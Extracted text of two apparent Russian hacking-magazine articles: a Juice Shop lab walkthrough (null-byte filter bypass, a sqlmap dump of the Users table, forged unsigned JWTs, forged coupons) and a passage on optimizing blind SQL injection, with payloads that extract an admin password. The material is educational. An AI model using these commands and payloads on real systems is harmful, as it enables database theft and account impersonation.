статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ LIKE A PRO ИСПОЛЬЗУЕМ OSINT И ЦЕПОЧКИ АТАК В OWASP JUICE SHOP ЦЕПОЧКИ АТАК В Juice Shop мног ие задания требуют решения некотор ых предыдущ их. Поэтому сейчас мы с тобой попробуем решить задачк у с пасх алкой, а заодн о научимся обход ить защиту файлов от скачивания и подб ерем себе много интересной информац ии для дальнейших атак и заданий. WARNING Даже не думай использовать подобные техн ики в реальных интернет‑магазин ах! Это уголовн о наказуе мо, если, конечно, у тебя нет подписан‐ ного договора на проведение пент еста. Если очень хочетс я попрактиковатьс я и поиск ать реальн ые ошибк и в прил ожениях, регистрируйс я на специальных платформах — например, на HackerOne или BugCrowd. Скачиваем недоступные файлы Я всегд а рекоменд ую не забывать поиск ать скрыт ые директ ории на сайтах. Сдел ать это можно при помощи утил иты dirb. dirb http://localhost:3000 Найд енн ые директ ории Зам етил очень интересную директорию ftp? Если ты вним ательн о пос‐ мотришь внутрь robots.txt, то убед ишься, что мы просто обязаны ее посетить. Интересные файл ы на FTP Как видишь, тут очень много интересного! Однак о стоит начать скач ивать файлы, как ты узнаешь, что разрешено это делать, тольк о если они имею т расширение .md или .pdf. Тем не менее эти файл ы очень нужны нам для выполнения след ующих заданий. Поэтом у придетс я пойт и в Google и най‐ ти там множест во статей о техниках обход а фильтров по расширению файл а. Мне, например, приглянулс я список на сайт е HackTricks. Одна из техн ик называе тся null byte и заключается в добавл ении к имени скач ивае мог о файл а спец иальн ого «нулевого байт а» — %00. Например, мож‐ но запр осить файл вот так: http://localhost:3000/ftp/eastere.gg%00.md Не забывай тольк о, что такой URL содерж ит запрещенн ые символы и долж ен быть специальным спос обом закодир ован перед использ ованием. Для этог о существует огромное количест во сервисов, можешь использ овать, нап‐ ример, CyberChef (мы о нем как‑то писали). Скач ай теперь все файл ы в папке FTP, и давай отправ имся искать пас‐ халку! Пасхалка от разработчиков Одно из заданий на четыре звезд очки называе тся Find the hidden easter egg. Для его решения нам понадобитс я содержимое файл а eastere.gg. Внутри файла ты найдешь шутливое поздравление от разработчиков и интер есную строчк у: ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9nd XIvcm5mZ3JlL3J0dA== В ней легк о угадывается кодировка Base64, поэтому восп ользуйся любым подходящим инструмент ом (например, тем же CyberChef) и преврати это в осмысленн ый текст. Вот как выглядит результ ат: /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt Как видишь, он не отличаетс я осмысленн остью. Можн о попр обовать добавить его к http://localhost:3000, но в ответ нас ждет пуст ота. Эта строчк а явно требует дальн ейшег о декодир ования. Для работы с неизв естным и шифрами я обычно использую Cipher Identifier на dcode.fr. Передай в него нашу строк у и найди шифр. Это оказ ался очень извест ный ROT 13! Можешь декодир овать его на том же сайт е и насладиться пасхалкой. Кстати, решая это задание, мы заодно прошл и два других! Скачиваем всю базу данных Как ты помн ишь, в прошл ой статье мы уже использовали SQL-инъекцию, что‐ бы получить прав а админ истрат ора. Настало время поиск ать что‑нибудь интересн ое в базе данных этог о прил ожения. Например, решить задание Exfiltrate the entire DB schema definition via SQL Injection. Для этого нам нужно перейт и в любой разд ел, где возможна инъ‐ екция. В Juice Shop это раздел поиск а товаров. Здесь я для удобства вос‐ пользуюсь sqlmap, но ты можешь попр обовать найт и и использовать инъ‐ екцию вручную, поскольку на доск е с задания ми есть пример уязв имого кода. Однако напр ямую задача не решае тся. Если ты попр обуе шь выполн ить вот такую команду, то успех а не добье шься: sqlmap -url=\"http://localhost:3000/search?q=1 Дело в том, что все опасные символы фильт рую тся на уровне фронтенда, что част о бывает в подобн ых прил ожен иях. Знач ит, нужн о запуст ить Burp и найти, какой адрес в дейс твит ельн ости вызывае тся для поиск а товаров. Если ты вни‐ мательн о посм отришь на запр осы, то обнаружишь интер есн ый запр ос к REST API: /rest/products/search?q=apple Дав ай воспольз уемс я этим и новыми данными и попробуе м еще раз. sqlmap -url=\"http://localhost:3000/rest/products/search?q=apple Этот вариа нт работае т! Теперь добавь нужн ые параметры, и вся база данных в твои х руках. sqlmap -url=\"http://localhost:3000/rest/products/search?q=apple\" -T Users --dump --threads=10 Вот эта команда позв олит получить тебе всю базу данных пользователей и хеши их паролей. Дамп таблицы Users Подделываем токены JWT В пред ыдущей статье мы уже сталкивались с JWT — смотри раздел «Откры‐ ваем админку»). На доск е задач есть два задания, связ анных с подделкой JWT: • Forge an essentially unsigned JWT token that impersonates the (non-existing) user [email protected] • Forge an almost properly RSA-signed JWT token that impersonates the (non- existing) user [email protected] Поскольк у у нас нет нужных ключ ей для прав ильной подписи токена, попробу‐ ем подделать неподписанный токен. Для начала нам нужн о получить любой дейс твующий токен польз овател я. Войди в магазин от имени любого польз ователя, перехвати пакеты обмена и достань оттуд а заголов ок авторизац ии Bearer. Токен в заголовк е Для просм отра и кодирования JWT я использ ую сайт jwt.io, однак о он не поз‐ волит сдел ать нам токен без подписи. Для начала скоп ируй весь код токена в файл. Токен, как ты уже проч итал, сост оит из трех част ей Base64, которые нужн о декодировать, изменить и закодир овать обратно. Прод елае м это с перв ой и втор ой частью, поск ольку третья часть — это ненужная нам подпись. Дек одированный токен Теперь измен им в заголовке алгор итм на none и в теле токена почту на [email protected]. Прод елай это и закодир уй все обратно в Base64, соедини их точкой и обяз ательн о добавь еще одну точку в самом конц е! При кодиров ании не забудь включ ить опцию URL-safe, поскольк у JWT исполь‐ зует именно этот станд арт кодирования. В итоге у меня получился вот такой токен. Измененный токен Теп ерь подд елай в Burp любой запр ос с этим токеном, и можешь радоватьс я решенн ой задаче. Помн и, токен имее т огран иченн ый срок жизн и, так что не затягивай! Погружаемся в дебри кода Среди скач анн ых тобой файлов есть крайне интер есн ый файл package. json.bak. Если ты не знае шь, что это такое и зачем нужн о, то самое врем я узнать. Если вкратц е, этот файл показывает, какие пакеты и компоненты использовались для создания Juice Shop. Очень часто среди этих комп онен‐ тов можно найт и уязвимые и проэксп луа тировать это. Давай подр обно изу‐ чим содерж имое этог о файл а. На доске заданий есть еще одно интер есное задание в разделе крип‐ тограф ии: Inform the shop about an algorithm or library it should definitely not use the way it does. А в файле package.json есть три библиотек и, подходящие под нужн ое опис ание: hashids, jsonwebtoken и z85. Интересные пакеты Если посм отреть внимательно опис ание этих пакетов в интернет е, то можн о определить, что пакет Z85 отвеч ает за кодиров ание, а не шифр ование. Поэтому можно попр обовать сдать его в качестве решения задачи. Кстат и, если ты вним ательно смотрел на хеши пользователей из пред ыдущ его задания, то они очень похожи на MD5, а этот алгор итм тоже давно небезо‐ пасен. Можешь попробовать информировать магазин и об этой уязвимост и. Знан ие о том, что магазин использ ует Z85, позволит нам подобр аться к следующей очень сложн ой задаче. Подделка кода купона На доске задач есть задача на шесть звезд очек, предл агаю щая нам под‐ делать купон и создать купон со скидк ой не менее 80%: Forge a coupon code that gives you a discount of at least 80%. Как ты помнишь, среди найд енн ых нами файл ов в папке ftp был очень интер есный файл с резерв ной копие й разн ых купонов. К сожален ию, они без‐ надежн о устар ели... Однако если отправить их в анализатор шифров, о котором я писал выше, то он покажет, что все эти коды очень похожи на коды ROT, то есть не являются настоящим шифр ование м, а просто исполь‐ зуют смещение букв на опред еленную величину. К сожалению, точный вари‐ ант такого прео браз ования он установить не смож ет. Тут надо вспомн ить, что прое кт реализован на Node.js, а разр аботч ики обычно ленивы и использ уют одну и ту же библиотеку для разных вещей. Еще помн ишь о Z85? У нее есть конс ольн ая верс ия Z85-cli — самое время установить ее и попр обовать в деле. Перейд и в папк у Juice Shop и выполн и следующую команд у: npm install -g z85-cli Теп ерь можно попробовать декодировать купон: z85 --decode \"q:<IqgC7sn\" Рез ультат — SEP13-10! То есть это купон на сентябрь 2013 года на 10%. Отлично, теперь ты знаешь, как сдел ать актуальн ый купон и применить его. Для примера вот мой купон на 99%. Огр омная скидк а ВЫВОДЫ Над еюсь, эта статья позволила тебе еще под одним углом взглянуть на безопасность веб‑прил ожений и освои ть новые техн ики. В Juice Shop осталось мног о интересных задач, так что ты всегда можешь на них попракти‐ коватьс я. Заодн о узнае шь, как не допускать таких уязвимост ей при разработ‐ ке своих приложен ий!
ВЗЛОМ САМЫЙ БЫСТРЫЙ УКОЛ ОПТИМИЗИРУЕМ BLIND SQL-ИНЪЕКЦИЮ Павел Сорокин Руководитель группы тестирования на проникновение в BI.ZONE [email protected] В своей практ ике работы в BI.ZONE я регулярно сталкиваю сь с необх одимостью эксплуатации слепых SQL-инъе кций. Пожалуй, Blind-случаи встреч ались мне даже чаще, чем Union или Error-based. Поэтом у я решил подумать об эффективности. Эта статья — обзор подходов к эксп лу‐ атации слепых SQL-инъекций и техник, позволяю щих уско‐ рить эксплуа тацию. ЧТО ТАКОЕ «СЛЕПЫЕ» SQL-ИНЪЕКЦИИ Здесь мы разберем случ аи, при которых возн икаю т Blind SQL-инъекции, а такж е опис ана базовая техн ика их эксп луатац ии. Если ты уже c ними знаком и понимае шь, что такое бинарн ый поиск, — смело переход и к следующему разд елу. Blind SQL-инъекции возникают, когд а мы не можем напрямую достать данные из приложен ия, но можем разл ичить два разных состояния веб‑при‐ ложен ия в зависимост и от услов ия, которое мы опред еляем в SQL-запросе. Как работает Blind SQL-инъекция Представ им след ующую инъекцию (для прост оты используем язык PHP, а в качест ве СУБД возьмем MySQL): $query = \"SELECT id,name FROM products ORDER BY \".$_GET['order']; Здесь мы можем указ ать в параметр е order не тольк о имя колонки, но и некоторое условие, напр имер: order=(if( (select 1=1),id,name)) order=(if( (select 1=0),id,name)) В зависимости от истинности логического выражен ия (1=1) или (1=0) результат будет отсортир ован СУБД либо по колонк е id, либо по колонк е name. В ответ е веб‑приложения мы увидим, по какой колонк е отсортир ованы products, и смож ем отличить истинное услов ие от ложного. Это позволяет нам «задавать вопр осы» СУБД, на которые мы будем получать ответ ы «да» или «нет». Например, «спросим» у СУБД — в табл ице information_schema.tables больше 50 строк или нет? order=(if( (select count(*)>50 from information_schema.tables),id, name)) Если говорить более форм ально, то за один запрос мы можем получить 1 бит информац ии из базы данн ых. Для получен ия текстовой информации можно делать полн ый перебор всех возможных симв олов следующим образом: order=(if( (select substring(password,1,1)='a' from users where username='admin'),id,name)) order=(if( (select substring(password,1,1)='b' from users where username='admin'),id,name)) order=(if( (select substring(password,1,1)='c' from users where username='admin'),id,name)) ... Но это долг о — нужн о сделать столько запросов, сколько букв мы хотим про‐ верить. Именн о поэтому, чтоб ы ускорить процесс, приб егаю т к бинарн ому поиск у. Как выполнить бинарный поиск Переведем симв ол иском ой строки в его ASCII-код и сдел аем некоторое предп оложен ие о возм ожных знач ениях этого симв ола. Например, можно предп оложить, что он лежит в нижней половине ASCII-таблицы, то есть имее т код в диапаз оне от 0x00 до 0x7f. Разделим этот диапаз он пополам и спро‐ сим у БД — в какой половине диапазона находитс я симв ол? order=(if( (select ascii(substring(password,1,1))>0x3f from users where username='admin'),id,name)) Есл и символ окаж ется больше 0x3f, значит, целевой диапазон сужае тся до 0x40-0x7f, если меньш е — до 0x00-0x3f. Далее находим середину диапаз она и снова спрашиваем у БД: целевой символ больше середины или меньше? Потом снов а сужаем диапаз он и продолжаем до тех пор, пока в диапаз оне не остан ется ровно одно значение. Это значение и будет отве‐ том. В данном случае для поиска точн ого значения симв ола нам потр ебуе тся ровно l og2 (128) = 7 запросов. ФАКТОРЫ, ВЛИЯЮЩИЕ НА СКОРОСТЬ ЭКСПЛУАТАЦИИ Теперь разб еремся, что ограничив ает скор ость эксп луатации инъ- екции: • При эксплуатации Blind SQL-инъе кции атакующий отправл яет запр осы на один и тот же эндпоинт. Один такой запр ос обрабатыв аетс я веб‑сер‐ вером некоторое время. Обозн ачим среднее врем я выполн ения зап‐ роса — t0 . Разб рос времени выполнения запросов обычно невелик. • Веб‑серв ер может обраб атыв ать некотор ое количество запросов парал‐ лельно. Оно зависит от количест ва физическ их веб‑серверов за балан‐ сировщ иком, потоков веб‑приложения, ядер на серв ере СУБД и т.д. Его можн о выясн ить эксперимент ально. Обозн ачим количест во запр осов к веб‑серверу — n0 . • Соо тветственн о, прил ожен ие не будет обраб атывать больше чем F0 = n0 t0 запросов в секунд у. Мы можем отправ ить и больше запросов в секунду, но они будут попадать в очередь и ждать обраб отки, поэтом у общая ско‐ рость обработки запр осов не превысит F0 . Данн ый параметр может менятьс я в зависим ости от текущей нагр узки на прил ожение и быть непос‐ тоянн ым, но не суть. Выв од: cкор ость, с которой мы можем вынимать данные, сост авляе т ~=F0 бит в секунду. Это основное ограничение по скор ост и эксплуа тации слеп ых SQL-инъе кций. ОБЩИЕ ИДЕИ ПОВЫШЕНИЯ ПРОИЗВОДИТЕЛЬНОСТИ Работа с сессиями Веб‑прил ожен ие может не выполнять паралельные запр осы в рамк ах одной сессии (напр имер, так работает PHP). Если мы видим, что подб ор идет в один поток, то нужн о созд ать по сессии для каждого потока подбора. Такж е, если веб‑прил ожен ие выполн яетс я на нескольк их серверах и использ ует баланс ировк у на основ е Sticky Sessions, все запр осы в рамк ах сесс ии отправляютс я на один и тот же серв ер. Мы можем создать несколько сесс ий на разных серверах и расп ред елить запр осы равн омерно по ним. В обраб отк у запр осов будет вовлечено большее количество серверов — след оват ельн о, n0 повыситьс я, а вместе с ним и общая скорость атаки. Многопоточность Получить больше чем F0 битов в секунд у мы не можем никак. Однак о мы можем грам отно расп орядитьс я имеющейся скоростью и тем самым уве‐ личить общую скорость пров едения атаки. Как прав ило, наша задача — вытащить неск ольк о колонок из одной таб‐ лицы (возм ожно, с применен ием фильт ра WHERE). Реализация такой атак и «в лоб» состоит из следующих задач: 1. Опр еделить количество строк, которое надо вернуть. 2. Для кажд ой строк и и колонк и, которые надо верн уть, определить длину строки. 3. Вып олн ить поиск каждого симв ола целевой строки. Если мы считаем, что нам нужны тольк о станд арт ные симв олы из нижней половин ы ASCII-таб‐ лицы (0x00-0x7f), то это 7 запросов на один символ. Банальная реализация При банальной реализации «в лоб» распараллеливан ие делае тся только на третье м этап е. На перв ом и втор ом этап е идет подб ор в 1 поток, это озна‐ чает, что скор ость составляе т 1 запр осов в секунд у вмест о доступных .n0 t0 t0 На третье м этапе распараллеливание делается таким образ ом. Допустим, веб‑приложен ие обрабатыв ает n0 одноврем енн ых запросов, а длин а строк и составляет X. Таким образом мы можем выполнять n0 параллельн ых задач, кажд ую из которых удобн о поместить в отдельный поток. Сначала определяем первые n0 символов строк и паралл ельно. Нужн о помн ить, что мы не можем использ овать все доступные потоки для определе‐ ния какого‑то одного симв ола, так как бинарный поиск треб ует получен ия ответа на пред ыдущ ий запрос для формирования нового запр оса. По мере завершения поиск а символов мы запуск аем новые потоки для следующих симв олов той же строк и. Но так как скор ость выполн ения зап‐ росов примерно один аков а, новые n0 потоков мы запуст им примерн о тогда, когд а перв ые n0 потоков завершатся, а именн о через 7 ∗ t0 секунд (если ищем в диапазоне 0x00-0x7f). Есл и длина строки кратн а n0 , то все хорошо и все потоки будут работать на максимальн ой скорости. Если же нет, то посл едняя группа после крат‐ ности n0 будет работать в X mod (n0 ) потоков. Остальные потоки будут прос‐ таивать. Наконец, если длин а строк и случ айн ая, то очев идно, что в среднем посл едняя группа будет работать тольк о на 50% от макс имальн ой скорост и. Более производительный вариант Для увеличен ия скорост и можно лучш е использ овать паралл ельность: запус‐ тить первый поток для решения задачи 1, а оставшие ся n0 − 1 свободных потоков сраз у запустить на определен ие длин строк для перв ых n0 −1 строк, c где c — количество колонок. Если окажется, что строк нужно запр осить мень‐ ше, чем мы опред елили, то часть потоков отраб отала бессмысленно. Но ина‐ че они бы просто простаивали, так что скор ость атаки не упад ет, но может увел ичитьс я. Можн о пойт и и еще дальше, сделав вероя тное допущен ие о том, что целевые строк и имею т длину не меньш е, например, 3-х симв олов. Не завер‐ шив ни задачу 1, ни задачу 2, начать выполнять задачу 3, начать определять перв ые 3 символа перв ых целевых строк. После такого старта, если грам отн о распорядиться потокам и (например, иметь уже определенн ые длин ы для нес‐ кольких следующих строк заранее), можн о поддержив ать общую скорость ~= F0 . ОСНОВНЫЕ ЗАДАЧИ ЭКСПЛУАТАЦИИ В данн ом разделе рассмотр им две типовые задачи, возникающие при экс‐ плуатац ии слепых SQL-инъе кций и способы их эффективного решения: опре‐ делен ие количества записей и длин ы строк и поиск целых чисел. Определение количества записей и длины строк Опр еделение количест ва возвращаемых записей (row) и длин ы строк — схо‐ жие задачи, но они не так тривиальны, как могут изнач ально показаться. Бин арн ый поиск может искать значение в рамк ах какого‑то диапазона, у которог о есть минимальн ое и максимальн ое знач ение. Так, при опред еле‐ нии симв олов мы знае м, что они, скор ее всег о, лежат в диапазоне 0x00-0x7f и точн о попадаю т в 0x00-0xff (Unicode пока опустим, хотя и для него тоже можн о задать макс имальную границу диапазона). Для опред елен ия же количества записей и длин ы строк мы не облад аем такой информацией, поэтом у теорет ически целевое значение может быть абсол ютно любым. Такж е важно отмет ить, что определение количества записей — это опе‐ рация, которая делае тся один раз для каждого запр оса. А вот длин а строки опред еляется мног окр атно, поэтом у оптим изация определения длин ы строки является более прио рит етн ой задачей. Определяем длину строки (банальный способ) Сначала я приведу банальн ый алгор итм, который позв оляе т определить дли‐ ну строк и. Изучив его и поняв сопутствую щие проблемы, мы смож ем обсудить пробл емы оценк и эффективн ости таких алгоритм ов. Первой идее й, которая приходит в голову, являе тся попытка определен ия значения, которое больш е длин ы строк и (далее расс уждения будут касатьс я тольк о длины строк и, для определения количест ва row они аналогичн ы). Пос‐ ле обнаружен ия такого знач ения мы уже можем свободно запустить бинар‐ ный поиск. Так как бинарный поиск имеет наибольш ую эффективность при работе с диапазонами, размер которых равен точной степ ени двойки (это будет показан о далее в статье), можн о отталкиватьс я от какого‑то старт ового чис‐ ла — точной степени двойки, напр имер 256. Алг оритм получае тся следующий: 1. Сравн иваем длин у строки с 256. 2. Если длина меньше, то запуск аем бинарный поиск, который будет тре‐ бовать l n2 (256) = 8 запросов. 3. Если длина больш е, то нам нужно увеличить максимальный диапаз он. Нап‐ ример, можно умнож ить стар ую верхнюю границу на 24 и сравн ить с ней. Если окажетс я меньш е, то запускаем бинарный поиск, если больше, то умнож аем на 24 еще раз и так далее. Для расчета эффективн ости такого алгоритма нам нужн о сдел ать пред‐ положен ие о вероятностном распред елен ии длин иском ых строк. Такое пред‐ положение сделать непр осто, т.к. строк и будут сильн о зависеть от смысла, который они несут. Напр имер, email-адрес а имеют одно распределение, тек‐ стов ые пост ы — другое, а хеши паролей вообщ е всегда имею т одинаков ую длину. Такж е стои т учитывать обычн ые практ ические задачи. Эксп луатац ия сле‐ пых SQL-инъекций — дело небыст рое. Скорее всег о, если мы нашл и строку, длин а которой составляет 10 000 симв олов, нам не будет интересно вынимать ее целиком. Возможно, мы заходим посм отреть на пер‐ вые 100 симв олов, чтобы понять, что вообще в ней содерж ится. Таким образ ом, если длин а строк и больш е, чем, напр имер, 128 символов, то нас и не интер есуе т ее точная длина — можно в выводе просто указать, что длин а больш е 128 символов, и при этом найт и только эти самые пер‐ вые 128 символов. В итоге получаем, что на опред елен ие длин ы строк и мы трат им 7 запросов, как на 1 символ. На мой взгляд — вполн е приемлем о. Определяем длину строки (небанальный способ) Также есть техн ика, в которой длину строки можно не опред елять в принц ипе. При опред елении симв олов, как прав ило, использ уетс я конструкция ASCII(substring(target_col,n,1)) Есл и n больше, чем длина строк и, то функ ция substring верн ет пуст ую стро‐ ку, а функция ASCII от пустой строк и вернет 0x00 (это верн о для MySQL и PostgreSQL). Соотв етст венн о, как только мы обнар ужили нулевой символ, мы считаем, что мы обнаружили последний символ и дальш е искать не надо. В данном подх оде мы осущ ествляе м поиск символа за последним, что дает лишних 7 запр осов. Трат ы аналогичны тратам на опред елен ие длины строк и. Такж е учтем, что в MSSQL и SQLite функция substring верн ет не пус‐ тую строку, а NULL, как и функ ция ASCII/Unicode. Можно создавать особ ые конст рукции, приводящ ие NULL в 0, однако это треб ует увеличен ия длин ы запроса. Кроме того, мы долж ны аккуратн о выстраивать параллельн ость: подб ор нескольких симв олов одноврем енн о может привест и к бесполезному поиску за конц ом строки и лишн ему расходу запросов. Если нам все же требуется определить длину строк и точн о (как и точное количество возв ращ аемых записей), возможные техн ики приведен ы далее. Поиск целых чисел Если иском ая колонка являе тся целочисленной, то у нас есть банальный вариант — прив ести число к строке и получить его как строку. Также мы можем воспольз оватьс я бинарн ым поиском, но нам надо решить уже упо‐ мянут ую проблему — определить верхнюю гран ицу бинарн ого поис- ка: 1. Буд ем считать, что разм ер числ а огран ичен 64 битами. При этом числ о не отрицательн ое — unsigned. Для signed-чисел можно применить те же рассужден ия, оценка не измен ится. 2. Макс имальн ое 64-битное число представляется строкой в 20 символов. Таким образ ом, на определение длин ы строк и нужно 5 запросов, т.к. 25 = 32 — ближайшая сверху точная степ ень двойк и (на самом деле немн ого меньш е, как будет показан о ниже, но пока округлим в большую стор ону). 3. Дальш е в зависимости от длин ы строк и нужн о потратить 3-4 запроса на кажд ую цифр у (почему так — смотр и ниже в разд еле «Сужение диапа‐ зона поиск а»). Длин а строк и равн а ceil(log10 (N )), где N — иском ое числ о. 4. Таким образ ом, общее количество запр осов — 5 + 3, 4 ∗ (ceil(log10 (N ))). Максимальное количест во запр осов для макс имальн ой длины — 73. Баналь‐ ный бинарный поиск на все 64 бита требует 64 запр оса вне зависимост и от размера числа. Для улучш ения алгор итм а мы можем: 1. Определить, сколько в числ е битов (l n2 (N )). Возможные знач ения — от 1 до 64, то есть нам потр ебуе тся 6 запросов (26 = 64). 2. Дальш е в зависимости от количества битов еще нужно стольк о запросов, сколько в числе битов. Битов в числе — ceil (l og2 (N )) , то есть в сумме получается 6 + ceil(log2 (N )). 3. Для сравн ения двух вариа нтов убер ем округление и прив едем формулу оценк и общего количест ва запр осов к логарифму по основ анию 2: 5 + 3, 4 ∗ l og10 (N ) = 5 + 3, 4 ∗ l og2 (N ) = 5 + 3,4 ∗ l og2 (N ). l og2 3,33 (10) Видн о, что разн ица форм ул в основном опис ывае тся дробью 3,4 , которая 3,33 не сильно отличаетс я от 1, то есть приведенн ые алгор итмы имею т примерн о один аковую эффективн ость. Перв ый алгоритм удобно использовать, когд а мы не знаем заранее тип колонк и, — мы можем всегд а все колонки конв ерти‐ ровать в текс товый тип и получать работаю щую атаку (правда, ценой неболь‐ шого удлин ения запроса). →Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ САМЫЙ БЫСТРЫЙ УКОЛ ОПТИМИЗИРУЕМ BLIND SQL-ИНЪЕКЦИЮ РАБОТА С ДИАПАЗОНАМИ ПОИСКА В данн ом разд еле расс мотрены различные подходы к эксплуа тац ии слеп ых SQL-инъе кций при использовании разных диапаз онов поиск а. Сужение диапазона поиска До этог о мы говорил и о том, что для опред еления одного симв ола требует‐ ся 7 запросов, за которые мы можем определить значение из диапазона 0x00-0x7f (алфавит объе ма 27), что соотв етствуе т нижней (английс кой) половин е табл ицы ASCII. Идея ускор ения состоит в том, что мы можем искать симв олы не среди всей нижн ей половин ы ASCII-таблицы, а среди какого‑то ее подмнож ества. Давайте разб ерем прим ер, когд а нам известно, что целевая строка состоит исключительно из цифр, и оцен им скор ость подб ора. Алф авит подбора имеет мощность 10. Для точных степ еней 2 мы могл и бы взять просто логарифм по основ анию 2 от мощности алфавита. Одна‐ ко 10 не является степ енью 2, а знач ит, определить количество запр осов для опред елен ия символа чуть сложн ее: 1. Первый запрос покажет, вход ит символ в множ ест во [0,1,2,3,4] или в [5,6,7,8,9]. 2. Второй запрос разобье т полученную групп у из 5 элементов на групп ы из 2 и 3 элем ентов: • [0,1] и [2,3,4] для первого случ ая; • [5,6] и [7,8,9] для второго случая. 3. Третий запр ос найдет значение в случае, если целевой символ был в диапазонах [0,1] и [5,6]. 4. Для диапазонов [2,3,4] и [7,8,9] одним запр осом мы можем сделать разделение на подд иапаз оны из одного и двух символов: • [2,3,4] разобье м на [2] и [3,4]; • [7,8,9] разобье м на [7] и [8,9]. 5. Таким образом символы [2] и [7] будут найдены третьим запр осом. 6. Если целевой симв ол находится в [3,4] или [8,9], то понадоб ится еще один (четвертый) запр ос. Пол учается, для 6 возм ожных значений мы делаем 3 запроса, а для оставших‐ ся 4 знач ений — 4 запр оса. Итог о в среднем мы делаем 3-4 запроса на один симв ол. Это более чем в 2 раза лучш е, чем полн ый бинарный поиск в диапа‐ зоне из возм ожных 128 знач ений. Математическая оценка Определить средн ее количест во запросов для симв ола из алфавита мощ‐ ностью N можно по формуле q = ((N − N2 ) ∗ 2 ∗ (l og2 ( N2 ) + 1) + (N2 ∗ 2 − N) ∗ l og2 ( N2 ))/N где N2 — ближайшая сниз у к N полная степень числа 2: N2 = 2f l oor (l n2 (N )) . from math import log,floor def questions(N): pow2 = 2**floor(ln2(N)) return ((N-pow2)*2*(ln2(pow2)+1) + (pow2*2-N)*ln2(pow2))/N def ln2(x): return log(x)/log(2) Функ цию q можно апроксим ировать как l og2 (N ), но реальное q будет всегд а чуть больш е, чем log2 (N ) для N, не являю щихся точной степенью двойк и. Определение ошибок Для дальн ейших расс уждений разб ерем пример, в котором мы предп олага‐ ем, что целевой символ являе тся маленькой английской букв ой из диапаз она a-z: 1. Будем искать значение соответствую щего ASCII-кода в диапаз оне чисел 97-122. Серединой диапаз она являе тся числ о 109,5. 2. Опр еделим, больш е ASCII-код целевог о симв ола, чем 109,5, или меньше: (ascii(substr(target_col,5,1)) from target_table limit 2,1)>109 Есл и ASCII-код меньш е, то целевой диапазон уменьшитс я до 97-109, если больш е — до 110-122. 3. Далее новый дипазон такж е бьется на две части и так далее, пока символ не будет определен. Таким образ ом, среднее количество запр осов получае тся q(26) = 4, 77. Канареечные символы Есл и наше изнач альн ое предп оложен ие «целевым симв олом является маленьк ая английс кая букв а» — неверн ое, то мы получим в результ ате бинар‐ ного поиск а одно из гран ичн ых знач ений — a или z. Отлич ить такой случ ай от настоящих букв «a» или «z» без дополнительн ых запросов мы не сможем. Для решения этой пробл емы мы можем добавить на обеи х границах диапа‐ зона по символу‑канарейк е — то есть искать целевое знач ение мы будем не в диапаз оне 97-122, как в примере выше, а в диапазоне 96-123. Если в результ ате поиска будет получен о канареечное значение 96 или 123, мы смож ем понять, что изначальное предп оложение неверн о. Так ая техника позволяе т использ овать диапаз онн ый поиск в случае, когда мы с хорошей долей вероятности можем предположить об алфав ите конкрет‐ ного символа, но не уверены на 100%. При этом стои т помн ить, что рас‐ ширение диапазона канареечным и символами прив одит к увеличению сред‐ него количество запр осов на один символ: с q(26) = 4, 77 до q(28) = 4, 86. Также необх одимо отмет ить, что если символ отсутствовал в диапазоне поиска, то нам потр ебуе тся к уже потраченным запросам добавить: • q(97), если значение меньш е 97; • q(5), если больш е 122. Есл и счит ать, что симв олы расп ред елены равномерно, то в сумме получае тся q(97) ∗ 97 + q(5) ∗ 5 + 4, 86 = 11, 33, что намного больше изначаль‐ 102 102 ных 7 запр осов. То есть предположение о диапаз оне должно иметь дост аточно высокую вероя тность, иначе попытк а ускор ения может оберн утьс я потерей прои зводительности. Поиск в диапазонах с разрывами Теп ерь рассмотрим поиск в наборе возможных значений, которые не обра‐ зуют непр ерывн ого диапаз она в ASCII-табл ице. Напр имер, наша цель — шес‐ тнадцатеричная строк а, набор знач ений [0-9A-F]. Для решения данной задачи можн о предложить две техн ики: • инъекция с помощью опер аторов IN и NOT IN; • пои ск с игнор иров ание м разр ывов. Инъекция с помощью операторов IN и NOT IN Список допустимых ASCII-кодов в расс матриваемом случ ае: [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102]. Мы можем разделить этот перечень пополам и спраш ивать у СУБД, попадае т ли иско‐ мый символ в подспис ок. Условие тогда будет выглядеть прим ерно так: (ascii(substr(target_col,5,1)) from target_table limit 2,1) in (48, 49, 50, 51, 52, 53, 54, 55) Если условие выполн ится, то целевое значение будет находится в наборе [ 48, 49, 50, 51, 52, 53, 54, 55]. Если нет — то в наборе [56, 57, 97, 98, 99, 100, 101, 102]. Далее, шаг за шагом разделяя полученные диапа‐ зоны пополам, мы получим целевое знач ение. На опред елен ие одног о сим‐ вола будет потрачено q(16) = 4 запр оса. Cтоит отмет ить, что в данн ом случ ае присутствуе т та же пробл ема, что и для диапаз онов: есл и мы не увер ены в изначальном предположе- нии об алфав ите поиск а, то ошибку мы не обнаружим. Для ее решения можн о: • доб авить к алфавиту одно псевдознач ение, которое будет соотв етст во‐ вать сразу всем символам, не вошедшим в алфав ит; • для поиска использовать исключ ительн о конструкцию NOT IN. Пример: 1. Расс мотрим случ ай, когда алфавит поиска сост оит из трех значений [1, 3, 5]. 2. Добавим к значения м [1, 3, 5] псевд означение N — получим [1, 3, 5, N]. 3. Сдел аем запр ос (ascii(substr(target_col,5,1)) from target_table limit 2,1) NOT IN (1,3). Если получим False, то целевой символ либо 1, либо 3, и следующим запросом мы получим точный ответ. Если же мы получили True, то ответ либо равен 5, либо мы ошиблись с диапа‐ зоном. 4. Сдел аем точное сравн ение с 5: (ascii(substr(target_col,5,1)) from target_table limit 2,1) NOT IN (5). Если получили True, знач ит, мы ошиблись в нашем изначальн ом предположен ии об алфав ите. Эта техника лучш е, чем предложенн ые выше канарее чные симв олы на краях диапаз она, так как c использование м опер атор а NOT IN мы можем осущест‐ влять бинарн ый поиск в диапаз онах с разрывами, при этом для обнаружения ошибки нам придетс я увеличить разм ер алфавита всег о на 1. К недостаткам этой техники можно отнести удлинение запроса в силу перечисл ения полови‐ ны алфавита в параметре опер аторов IN и NOT IN. Поиск с игнорированием разрывов Еще одна возможность решить задачу поиска в диапазоне с разрывом [0- 9A-F] — выполнить поиск с игнор иров ание м разр ывов в диапазоне: 1. Разделим пополам 